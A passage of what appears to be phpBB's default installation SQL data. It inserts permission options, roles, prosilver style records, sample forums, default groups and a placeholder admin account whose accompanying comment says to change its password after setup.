VALUES ('f_report', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_search', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_sigs', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_smilies', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_sticky', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_subscribe', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_user_lock', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_vote', 1); INSERT INTO phpbb_acl_options (auth_option, is_local) VALUES ('f_votechg', 1); # -- Moderator related auth options INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_approve', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_chgposter', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_delete', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_edit', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_info', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_lock', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_merge', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_move', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_report', 1, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_split', 1, 1); # -- Global moderator auth option (not a local option) INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_ban', 0, 1); INSERT INTO phpbb_acl_options (auth_option, is_local, is_global) VALUES ('m_warn', 0, 1); # -- Admin related auth options INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_aauth', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_attach', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_authgroups', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_authusers', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_backup', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_ban', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_bbcode', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_board', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_bots', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_clearlogs', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_email', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_fauth', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_forum', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_forumadd', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_forumdel', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_group', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_groupadd', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_groupdel', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_icons', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_jabber', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_language', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_mauth', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_modules', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_names', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_phpinfo', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_profile', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_prune', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_ranks', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_reasons', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_roles', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_search', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_server', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_styles', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_switchperm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_uauth', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_user', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_userdel', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_viewauth', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_viewlogs', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('a_words', 1); # -- User related auth options INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_attach', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chgavatar', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chgcensors', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chgemail', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chggrp', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chgname', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_chgpasswd', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_download', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_hideonline', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_ignoreflood', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_masspm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_masspm_group', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_attach', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_bbcode', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_delete', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_download', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_edit', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_emailpm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_flash', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_forward', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_img', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_printpm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_pm_smilies', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_readpm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_savedrafts', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_search', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_sendemail', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_sendim', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_sendpm', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_sig', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_viewonline', 1); INSERT INTO phpbb_acl_options (auth_option, is_global) VALUES ('u_viewprofile', 1); # -- standard auth roles INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_ADMIN_STANDARD', 'ROLE_DESCRIPTION_ADMIN_STANDARD', 'a_', 1); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_ADMIN_FORUM', 'ROLE_DESCRIPTION_ADMIN_FORUM', 'a_', 3); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_ADMIN_USERGROUP', 'ROLE_DESCRIPTION_ADMIN_USERGROUP', 'a_', 4); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_ADMIN_FULL', 'ROLE_DESCRIPTION_ADMIN_FULL', 'a_', 2); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_FULL', 'ROLE_DESCRIPTION_USER_FULL', 'u_', 3); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_STANDARD', 'ROLE_DESCRIPTION_USER_STANDARD', 'u_', 1); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_LIMITED', 'ROLE_DESCRIPTION_USER_LIMITED', 'u_', 2); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_NOPM', 'ROLE_DESCRIPTION_USER_NOPM', 'u_', 4); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_NOAVATAR', 'ROLE_DESCRIPTION_USER_NOAVATAR', 'u_', 5); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_MOD_FULL', 'ROLE_DESCRIPTION_MOD_FULL', 'm_', 3); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_MOD_STANDARD', 'ROLE_DESCRIPTION_MOD_STANDARD', 'm_', 1); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_MOD_SIMPLE', 'ROLE_DESCRIPTION_MOD_SIMPLE', 'm_', 2); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_MOD_QUEUE', 'ROLE_DESCRIPTION_MOD_QUEUE', 'm_', 4); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_FULL', 'ROLE_DESCRIPTION_FORUM_FULL', 'f_', 7); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_STANDARD', 'ROLE_DESCRIPTION_FORUM_STANDARD', 'f_', 5); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_NOACCESS', 'ROLE_DESCRIPTION_FORUM_NOACCESS', 'f_', 1); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_READONLY', 'ROLE_DESCRIPTION_FORUM_READONLY', 'f_', 2); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_LIMITED', 'ROLE_DESCRIPTION_FORUM_LIMITED', 'f_', 3); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_BOT', 'ROLE_DESCRIPTION_FORUM_BOT', 'f_', 9); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_ONQUEUE', 'ROLE_DESCRIPTION_FORUM_ONQUEUE', 'f_', 8); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_POLLS', 'ROLE_DESCRIPTION_FORUM_POLLS', 'f_', 6); INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_LIMITED_POLLS', 'ROLE_DESCRIPTION_FORUM_LIMITED_POLLS', 'f_', 4); # 23 INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_NEW_MEMBER', 'ROLE_DESCRIPTION_USER_NEW_MEMBER', 'u_', 6); # 24 INSERT INTO phpbb_acl_roles (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_NEW_MEMBER', 'ROLE_DESCRIPTION_FORUM_NEW_MEMBER', 'f_', 10); # -- phpbb_styles INSERT INTO phpbb_styles (style_name, style_copyright, style_active, template_id, theme_id, imageset_id) VALUES ('prosilver', '© phpBB Group', 1, 1, 1, 1); # -- phpbb_styles_imageset INSERT INTO phpbb_styles_imageset (imageset_name, imageset_copyright, imageset_path) VALUES ('prosilver', '© phpBB Group', 'prosilver'); # -- phpbb_styles_imageset_data INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('site_logo', 'site_logo.gif', '', 52, 139, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_link', 'forum_link.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_read', 'forum_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_read_locked', 'forum_read_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_read_subforum', 'forum_read_subforum.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_unread', 'forum_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_unread_locked', 'forum_unread_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('forum_unread_subforum', 'forum_unread_subforum.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_moved', 'topic_moved.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read', 'topic_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read_mine', 'topic_read_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read_hot', 'topic_read_hot.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read_hot_mine', 'topic_read_hot_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read_locked', 'topic_read_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_read_locked_mine', 'topic_read_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread', 'topic_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread_mine', 'topic_unread_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread_hot', 'topic_unread_hot.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread_hot_mine', 'topic_unread_hot_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread_locked', 'topic_unread_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('topic_unread_locked_mine', 'topic_unread_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_read', 'sticky_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_read_mine', 'sticky_read_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_read_locked', 'sticky_read_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_read_locked_mine', 'sticky_read_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_unread', 'sticky_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_unread_mine', 'sticky_unread_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_unread_locked', 'sticky_unread_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('sticky_unread_locked_mine', 'sticky_unread_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_read', 'announce_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_read_mine', 'announce_read_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_read_locked', 'announce_read_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_read_locked_mine', 'announce_read_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_unread', 'announce_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_unread_mine', 'announce_unread_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_unread_locked', 'announce_unread_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('announce_unread_locked_mine', 'announce_unread_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_read', 'announce_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_read_mine', 'announce_read_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_read_locked', 'announce_read_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_read_locked_mine', 'announce_read_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_unread', 'announce_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_unread_mine', 'announce_unread_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_unread_locked', 'announce_unread_locked.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('global_unread_locked_mine', 'announce_unread_locked_mine.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('pm_read', 'topic_read.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('pm_unread', 'topic_unread.gif', '', 27, 27, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_back_top', 'icon_back_top.gif', '', 11, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_aim', 'icon_contact_aim.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_email', 'icon_contact_email.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_icq', 'icon_contact_icq.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_jabber', 'icon_contact_jabber.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_msnm', 'icon_contact_msnm.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_www', 'icon_contact_www.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_contact_yahoo', 'icon_contact_yahoo.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_post_delete', 'icon_post_delete.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_post_info', 'icon_post_info.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_post_report', 'icon_post_report.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_post_target', 'icon_post_target.gif', '', 9, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_post_target_unread', 'icon_post_target_unread.gif', '', 9, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_topic_attach', 'icon_topic_attach.gif', '', 10, 7, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_topic_latest', 'icon_topic_latest.gif', '', 9, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_topic_newest', 'icon_topic_newest.gif', '', 9, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_topic_reported', 'icon_topic_reported.gif', '', 14, 16, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_topic_unapproved', 'icon_topic_unapproved.gif', '', 14, 16, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('icon_user_warn', 'icon_user_warn.gif', '', 20, 20, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('subforum_read', 'subforum_read.gif', '', 9, 11, 1); INSERT INTO phpbb_styles_imageset_data (image_name, image_filename, image_lang, image_height, image_width, imageset_id) VALUES ('subforum_unread', 'subforum_unread.gif', '', 9, 11, 1); # -- phpbb_styles_template INSERT INTO phpbb_styles_template (template_name, template_copyright, template_path, bbcode_bitfield, template_storedb) VALUES ('prosilver', '© phpBB Group', 'prosilver', 'lNg=', 0); # -- phpbb_styles_theme INSERT INTO phpbb_styles_theme (theme_name, theme_copyright, theme_path, theme_storedb, theme_data) VALUES ('prosilver', '© phpBB Group', 'prosilver', 1, ''); # -- Forums INSERT INTO phpbb_forums (forum_name, forum_desc, left_id, right_id, parent_id, forum_type, forum_posts, forum_topics, forum_topics_real, forum_last_post_id, forum_last_poster_id, forum_last_poster_name, forum_last_poster_colour, forum_last_post_time, forum_link, forum_password, forum_image, forum_rules, forum_rules_link, forum_rules_uid, forum_desc_uid, prune_days, prune_viewed, forum_parents) VALUES ('{L_FORUMS_FIRST_CATEGORY}', '', 1, 4, 0, 0, 1, 1, 1, 1, 2, 'Admin', 'AA0000', 972086460, '', '', '', '', '', '', '', 0, 0, ''); INSERT INTO phpbb_forums (forum_name, forum_desc, left_id, right_id, parent_id, forum_type, forum_posts, forum_topics, forum_topics_real, forum_last_post_id, forum_last_poster_id, forum_last_poster_name, forum_last_poster_colour, forum_last_post_subject, forum_last_post_time, forum_link, forum_password, forum_image, forum_rules, forum_rules_link, forum_rules_uid, forum_desc_uid, prune_days, prune_viewed, forum_parents, forum_flags) VALUES ('{L_FORUMS_TEST_FORUM_TITLE}', '{L_FORUMS_TEST_FORUM_DESC}', 2, 3, 1, 1, 1, 1, 1, 1, 2, 'Admin', 'AA0000', '{L_TOPICS_TOPIC_TITLE}', 972086460, '', '', '', '', '', '', '', 0, 0, '', 48); # -- Users / Anonymous user INSERT INTO phpbb_users (user_type, group_id, username, username_clean, user_regdate, user_password, user_email, user_lang, user_style, user_rank, user_colour, user_posts, user_permissions, user_ip, user_birthday, user_lastpage, user_last_confirm_key, user_post_sortby_type, user_post_sortby_dir, user_topic_sortby_type, user_topic_sortby_dir, user_avatar, user_sig, user_sig_bbcode_uid, user_from, user_icq, user_aim, user_yim, user_msnm, user_jabber, user_website, user_occ, user_interests, user_actkey, user_newpasswd, user_allow_massemail) VALUES (2, 1, 'Anonymous', 'anonymous', 0, '', '', 'en', 1, 0, '', 0, '', '', '', '', '', 't', 'a', 't', 'd', '', '', '', '', '', '', '', '', '', '', '', '', '', '', 0); # -- username: Admin password: admin (change this or remove it once everything is working!) INSERT INTO phpbb_users (user_type, group_id, username, username_clean, user_regdate, user_password, user_email, user_lang, user_style, user_rank, user_colour, user_posts, user_permissions, user_ip, user_birthday, user_lastpage, user_last_confirm_key, user_post_sortby_type, user_post_sortby_dir, user_topic_sortby_type, user_topic_sortby_dir, user_avatar, user_sig, user_sig_bbcode_uid, user_from, user_icq, user_aim, user_yim, user_msnm, user_jabber, user_website, user_occ, user_interests, user_actkey, user_newpasswd) VALUES (3, 5, 'Admin', 'admin', 0, '21232f297a57a5a743894a0e4a801fc3', 'admin@yourdomain.com', 'en', 1, 1, 'AA0000', 1, '', '', '', '', '', 't', 'a', 't', 'd', '', '', '', '', '', '', '', '', '', '', '', '', '', ''); # -- Groups INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('GUESTS', 3, 0, '', 0, '', '', '', 5); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('REGISTERED', 3, 0, '', 0, '', '', '', 5); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('REGISTERED_COPPA', 3, 0, '', 0, '', '', '', 5); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('GLOBAL_MODERATORS', 3, 0, '00AA00', 1, '', '', '', 0); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('ADMINISTRATORS', 3, 1, 'AA0000', 1, '', '', '', 0); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('BOTS', 3, 0, '9E8DA7', 0, '', '', '', 5); INSERT INTO phpbb_groups (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('NEWLY_REGISTERED', 3, 0, '', 0, '', '', '', 5); # -- User -> Group INSERT INTO phpbb_user_group (group_id, user_id, user_pending, group_leader) VALUES (1, 1, 0, 0); INSERT INTO phpbb_user_group (group_id, user_id, user_pending, group_leader) VALUES (2, 2, 0, 0); INSERT INTO phpbb_user_group (group_id, user_id, user_pending, group_leader) VALUES (4, 2, 0, 0); INSERT INTO phpbb_user_group (group_id, user_id, user_pending, group_leader) VALUES (5, 2, 0, 1); # -- Ranks INSERT INTO phpbb_ranks (rank_title, rank_min, rank_special, rank_image) VALUES ('{L_RANKS_SITE_ADMIN_TITLE}', 0, 1, ''); # -- Roles data # Standard Admin (a_) INSERT INTO 